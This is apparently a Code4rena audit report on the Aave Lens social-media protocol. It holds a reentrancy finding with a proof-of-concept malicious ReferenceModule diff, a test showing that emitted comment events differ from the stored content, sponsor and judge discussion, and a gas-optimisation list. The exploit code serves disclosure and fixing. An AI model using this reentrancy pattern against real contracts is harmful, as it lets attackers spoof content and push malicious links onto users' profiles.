Platform: Code4rena
Start Date: 10/02/2022
Pot Size: $100,000 USDC
Total HM: 13
Participants: 21
Period: 7 days
Judge: leastwood
Total Solo HM: 10
Id: 85
League: ETH
Rank: 5/21
Findings: 2
Award: $7,570.87
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: IllIllI
6740.682 USDC - $6,740.68
Since the Lens platform is a blockchain-based social media platform, it's important that information relevant to users be emitted so that light clients need not continually refer to the blockchain, which can be expensive. From the docs:
Events are emitted at every state-changing function call, in addition to standard ERC721 events. Events often include the timestamp as a specific parameter, which allows for direct consumption using a bloom filter without needing to fetch block context on every event.
As such, it is important that the content of emitted events matches what direct lookups of publication data shows.
Due to the reentrancy bug outlined below, an attacker is able to emit a comment containing some information that does not match the actual information of a post, allowing him/her to trick light clients into responding to a post that they otherwise would have avoided. The attacker can use this to propagate scams, serve malware, or otherwise poison other user's profiles with unwanted content. Because there is no way to disable publications after the fact, these commenters' profiles now link to this bad content forever.
According to the developers in the contest discord, the intention is for the whitelisting of modules to eventually be disabled altogether, or moved to be controlled by a DAO. The main purpose of the whitelist is to make sure that the modules written and used by everyone are built and scoped appropriately, not to limit calls to outside contracts (i.e. the module does what it does in the most efficient manner, using the method requiring the fewest outside contract calls). As such it's reasonable to assume that at some point in the future, an attacker will be able to find or write a ReferenceModule that enables him/her to trigger a function in a contract he/she owns (e.g. transfer an NFT, triggering an ERC721 pre-transfer approval check callback). Below is a version of this where, for simplicity's sake, the malicious code is directly in the module rather than being called by a callback somehow.
diff --git a/MockReferenceModule.sol.original b/MockReferenceModule.sol index 2552faf..0fe464b 100644 --- a/MockReferenceModule.sol.original +++ b/MockReferenceModule.sol @@ -3,23 +3,46 @@ pragma solidity 0.8.10; import {IReferenceModule} from '../interfaces/IReferenceModule.sol'; - +import {ILensHub} from '../interfaces/ILensHub.sol'; +import {DataTypes} from '../libraries/DataTypes.sol'; contract MockReferenceModule is IReferenceModule { function initializeReferenceModule( uint256 profileId, uint256 pubId, bytes calldata data - ) external pure override returns (bytes memory) { + ) external override returns (bytes memory) { uint256 number = abi.decode(data, (uint256)); require(number == 1, 'MockReferenceModule: invalid'); + l = msg.sender; return new bytes(0); } + address l; + bool a; function processComment( uint256 profileId, uint256 profileIdPointed, uint256 pubIdPointed - ) external override {} + ) external override { + if (a) return; + a = true; + bytes memory garbage; + string memory handle = "attack.eth"; + uint256 pid = ILensHub(l).getProfileIdByHandle(handle); + ILensHub(l).comment( + DataTypes.CommentData( + profileId, + // make their comment and thus their profile link + // to our malicious payload + "https://yourCommentIsNowOnALinkToMalware.com/forever", + profileIdPointed, + pubIdPointed, + ILensHub(l).getCollectModule(profileIdPointed, pubIdPointed), + garbage, + address(0x0), + garbage + )); + } function processMirror( uint256 profileId,
As for triggering the actual attack, the attacker first acquires a profile with a lot of followers either by organically growing a following, stealing a profile's NFT, or buying access to one. Next, the attacker publishes interesting content with the malicious ReferenceModule, and finally, the attacker publishes an extremely engaging/viral comment to that publication, which will cause lots of other people to respond to it. The comment will emit an event that contains the original comment information, but the module will be able to overwrite the actual published comment on the blockchain with the attacker's alternate content due to a reentrancy bug where the pubCount can be overwritten:
function _createComment(DataTypes.CommentData memory vars) internal { PublishingLogic.createComment( vars, _profileById[vars.profileId].pubCount + 1, _profileById, _pubByIdByProfile, _collectModuleWhitelisted, _referenceModuleWhitelisted ); _profileById[vars.profileId].pubCount++; }
The following test uses this altered module and shows that the attacker can emit a different comment than is actually stored by/used for subsequent comments:
diff --git a/publishing-comments.spec.ts.original b/publishing-comments.spec.ts index 471ba68..32dfb3a 100644 --- a/publishing-comments.spec.ts.original +++ b/publishing-comments.spec.ts @@ -3,6 +3,11 @@ import { expect } from 'chai'; import { MAX_UINT256, ZERO_ADDRESS } from '../../helpers/constants'; import { ERRORS } from '../../helpers/errors'; import { cancelWithPermitForAll, getCommentWithSigParts } from '../../helpers/utils'; +import { + getTimestamp, + matchEvent, + waitForTx, +} from '../../helpers/utils'; import { abiCoder, emptyCollectModule, @@ -59,7 +64,7 @@ makeSuiteCleanRoom('Publishing Comments', function () { }) ).to.not.be.reverted; }); - +/** context('Negatives', function () { it('UserTwo should fail to publish a comment to a profile owned by User', async function () { await expect( @@ -151,8 +156,9 @@ makeSuiteCleanRoom('Publishing Comments', function () { ).to.be.revertedWith(ERRORS.PUBLICATION_DOES_NOT_EXIST); }); }); - +/**/ context('Scenarios', function () { +/** it('User should create a comment with empty collect module data, reference module, and reference module data, fetched comment data should be accurate', async function () { await expect( lensHub.comment({ @@ -175,8 +181,23 @@ makeSuiteCleanRoom('Publishing Comments', function () { expect(pub.collectNFT).to.eq(ZERO_ADDRESS); expect(pub.referenceModule).to.eq(ZERO_ADDRESS); }); - +/**/ it('User should create a post using the mock reference module as reference module, then comment on that post', async function () { + + // user acquires account and sets up the attacking profile + await expect( + lensHub.createProfile({ + to: mockReferenceModule.address, + handle: "attack.eth", + imageURI: MOCK_PROFILE_URI, + followModule: ZERO_ADDRESS, + followModuleData: [], + followNFTURI: MOCK_FOLLOW_NFT_URI, + }) + ).to.not.be.reverted; + await lensHub.setDispatcher(FIRST_PROFILE_ID, mockReferenceModule.address); + + // create a post const data = abiCoder.encode(['uint256'], ['1']); await expect( lensHub.post({ @@ -189,22 +210,43 @@ makeSuiteCleanRoom('Publishing Comments', function () { }) ).to.not.be.reverted; - await expect( + // create extremely interesting bait comment + const BAIT_COMMENT = "https://somethingExtremelyInteresting.com/toGetEngagement"; + let receipt = await waitForTx( lensHub.comment({ profileId: FIRST_PROFILE_ID, - contentURI: MOCK_URI, + contentURI: BAIT_COMMENT, collectModule: emptyCollectModule.address, collectModuleData: [], profileIdPointed: FIRST_PROFILE_ID, pubIdPointed: 2, referenceModule: ZERO_ADDRESS, referenceModuleData: [], - }) - ).to.not.be.reverted; + },{gasLimit:12450000}) + ); + + // see the bait in the emitted event... + matchEvent(receipt, 'CommentCreated', [ + FIRST_PROFILE_ID, + 3, // pubId 3 for profile 1 + BAIT_COMMENT, // <-- correct bait in the event + FIRST_PROFILE_ID, + 2, + emptyCollectModule.address, + [], + ZERO_ADDRESS, + [], + await getTimestamp(), + ]); + + // ...but malware when read, commented, or referenced + let pub = await lensHub.getPub(FIRST_PROFILE_ID, 3); + await expect(pub.contentURI) + .to.equal(BAIT_COMMENT); }); }); }); - +/** context('Meta-tx', function () { beforeEach(async function () { await expect( @@ -567,5 +609,5 @@ makeSuiteCleanRoom('Publishing Comments', function () { expect(pub.referenceModule).to.eq(ZERO_ADDRESS); }); }); - }); + });/**/ });
After applying the above changes, running npm test test/hub/interactions/publishing-comments.spec.ts yields:
Publishing Comments Generic Scenarios 1) User should create a post using the mock reference module as reference module, then comment on that post 0 passing (19s) 1 failing 1) Publishing Comments Generic Scenarios User should create a post using the mock reference module as reference module, then comment on that post: AssertionError: expected 'https://yourCommentIsNowOnALinkToMalware.com/forever' to equal 'https://somethingExtremelyInteresting.com/toGetEngagement' + expected - actual -https://yourCommentIsNowOnALinkToMalware.com/forever +https://somethingExtremelyInteresting.com/toGetEngagement at Context.<anonymous> (test/hub/interactions/publishing-comments.spec.ts:245:15) at processTicksAndRejections (internal/process/task_queues.js:97:5) at runNextTicks (internal/process/task_queues.js:66:3) at listOnTimeout (internal/timers.js:523:9) at processTimers (internal/timers.js:497:7)
Anyone that has commented on the engaging comment now has unwittingly commented on a malicious URI, potentially encouraging others to visit the URI.
Code inspection Hardhat
Store the new pubCount in a variable before the comment is created and use it during the creation rather than choosing it afterwards.
#0 - Zer0dot
2022-03-18T20:11:52Z
This is valid and interesting! Especially because it can be attributed to incompetence instead of maliciousness on behalf of governance whitelisting a faulty module (which can also lead to loss of funds, etc). However, this does emit multiple events with the same publication ID, and thus I believe UIs can filter it, if ever it becomes an issue.
On that front, the mitigation introduces another issue in that incrementing the pubId before creating the comment allows a comment to comment on itself. Paging @miguelmtzinf, wdyt?
#1 - Zer0dot
2022-03-21T23:19:30Z
Also paging @donosonaumczuk
#2 - Zer0dot
2022-03-25T19:45:20Z
We acknowledge this and will not be acting on it. I think it's fair to say that if such a vulnerability is found, the double event emission can be a red flag, and governance can act promptly to unwhitelist the specific module. Note that there's already nothing stopping malware or illegal content links from appearing on UIs, who already need to do filtering. Still, this is valid!
#3 - 0xleastwood
2022-05-03T20:46:29Z
Upon first glance, this seems to be valid. An attacker could emit multiple events for a given comment, tricking light clients into responding to a potentially malicious post. However, it requires that reference modules are no longer whitelisted, allowing anyone to register a dodgy module or the governance accidentally registers a faulty module. I think for these reasons, I am more inclined to mark this as medium as it requires certain assumptions. While I understand C4 typically judges high severity issues as resulting in a loss of funds, Aave Lens is unique in that funds aren't paramount to how the protocol is intended to be used. I am open to further discussion if you disagree with me in any way @Zer0dot ?
#4 - Zer0dot
2022-05-05T14:29:44Z
I wouldn't put it beyond the realm of possibility to see governance accidentally whitelist a module where this is possible. I do agree it's valid, medium sounds fine to me.
#5 - 0xleastwood
2022-05-05T20:32:09Z
Sweet, I'll downgrade this to medium considering we are both in agreement.
bytes32 internal constant CREATE_PROFILE_WITH_SIG_TYPEHASH = 0x9ac3269d9abd6f8c5e850e07f21b199079e8a5cc4a55466d8c96ab0c4a5be403; // keccak256( // 'CreateProfileWithSig(string handle,string uri,address followModule,bytes followModuleData,uint256 nonce,uint256 deadline)' // );
getPowerByBlockNumber() and getDelegatedSupplyByBlockNumber()Save gas by not duplicating approximate binary search algorthm in getPowerByBlockNumber() and getDelegatedSupplyByBlockNumber() in deployed code. Instead refactor and use a common internal function
https://github.com/code-423n4/2022-02-aave-lens/blob/aaf6c116345f3647e11a35010f28e3b90e7b4862/contracts/core/FollowNFT.sol#L114-L144
https://github.com/code-423n4/2022-02-aave-lens/blob/aaf6c116345f3647e11a35010f28e3b90e7b4862/contracts/core/FollowNFT.sol#L156-L186
_writeSnapshot() and _writeSupplySnapshot()Save gas by not duplicating snapshot-for-block existence checks in _writeSnapshot() and _writeSupplySnapshot(). Instead refactor and use a common internal function, renaming the orignals to _writeSnapshotSnapshot() and _writeSnapshotSupplySnapshot()
https://github.com/code-423n4/2022-02-aave-lens/blob/aaf6c116345f3647e11a35010f28e3b90e7b4862/contracts/core/FollowNFT.sol#L287-L296
https://github.com/code-423n4/2022-02-aave-lens/blob/aaf6c116345f3647e11a35010f28e3b90e7b4862/contracts/core/FollowNFT.sol#L304-L313
abi.encode() is less efficient than abi.encodePacked()return abi.encode(amount, currency, recipient, referralFee, endTimestamp);
return abi.encode(collectLimit, amount, currency, recipient, referralFee, endTimestamp);
<array>.length should not be looked up in every loop of a for-loopEven memory arrays incur the overhead of bit tests and bit shifts to calculate the array length 1.
for (uint256 i = 0; i < profileIds.length; ++i) {
for (uint256 i = 0; i < byteHandle.length; ++i) {
for (uint256 i = 0; i < vars.datas.length; ++i) {
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/LensHub.sol#L541
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < toCheck.length; ++i) {
++i/i++ should be unchecked{++i}/unchecked{++i} when it is not possible for them to overflow, as is the case when used in for- and while-loopsfor (uint256 i = 0; i < profileIds.length; ++i) {
for (uint256 i = 0; i < byteHandle.length; ++i) {
for (uint256 i = 0; i < vars.datas.length; ++i) {
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/LensHub.sol#L541
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < toCheck.length; ++i) {
for (uint256 i = 0; i < profileIds.length; ++i) {
for (uint256 i = 0; i < byteHandle.length; ++i) {
for (uint256 i = 0; i < vars.datas.length; ++i) {
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/LensHub.sol#L541
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < addresses.length; ++i) {
for (uint256 i = 0; i < toCheck.length; ++i) {
uint256 private lastInitializedRevision = 0;
uint256 lower = 0;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/FollowNFT.sol:120:
uint256 lower = 0;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/FollowNFT.sol:162:
uints smaller than 32 bytes incur overheadWhen using elements that are smaller than 32 bytes, your contract’s gas usage may be higher. This is because the EVM operates on 32 bytes at a time. Therefore, if the element is smaller than that, the EVM must use more operations in order to reduce the size of the element from 32 bytes to the desired size.
https://docs.soliditylang.org/en/v0.8.11/internals/layout_in_storage.html Use a larger size then downcast where needed
uint8 internal constant MAX_HANDLE_LENGTH = 31;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/libraries/Constants.sol#L10
uint16 internal constant BPS_MAX = 10000;
uint16 internal constant BPS_MAX = 10000;
uint16 internal _treasuryFee;
uint24 internal constant ONE_DAY = 24 hours;
uint24 internal constant ONE_DAY = 24 hours;
bools for storage incurs overhead// Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled.
mapping(address => bool) storage _followModuleWhitelisted
mapping(address => bool) storage _followModuleWhitelisted
mapping(address => bool) storage _collectModuleWhitelisted,
mapping(address => bool) storage _referenceModuleWhitelisted
mapping(address => bool) storage _collectModuleWhitelisted,
mapping(address => bool) storage _referenceModuleWhitelisted
mapping(address => bool) storage _referenceModuleWhitelisted
mapping(address => bool) storage _collectModuleWhitelisted
mapping(address => bool) storage _referenceModuleWhitelisted
mapping(address => bool) storage _followModuleWhitelisted
mapping(address => mapping(address => bool)) private _operatorApprovals;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/base/ERC721Time.sol#L44
bool private _initialized;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/FollowNFT.sol#L45
bool private _initialized;
https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/CollectNFT.sol#L25
mapping(address => bool) internal _profileCreatorWhitelisted;
mapping(address => bool) internal _followModuleWhitelisted;
mapping(address => bool) internal _collectModuleWhitelisted;
mapping(address => bool) internal _referenceModuleWhitelisted;
18
mapping(address => bool) internal _currencyWhitelisted;
#0 - Zer0dot
2022-03-24T21:01:07Z
Great report, well documented and valid! We choose to keep the follow NFT algorithms inlined because we're not pressed for code size, so the added gas would not be worth it.
The uint padding is technically valid but constants and immutables are not stored in storage, so I don't believe this makes sense here. Furthermore, the treasury fee uint16 variable is packed in the same slot as the treasury, which reduces the cold SLOADs when modules fetch the treasury data. Variable zero initialization is handled by the optimizer afaik.
Unchecked is valid, and the typehash is a good catch! Changes overall are included here: https://github.com/aave/lens-protocol/pull/80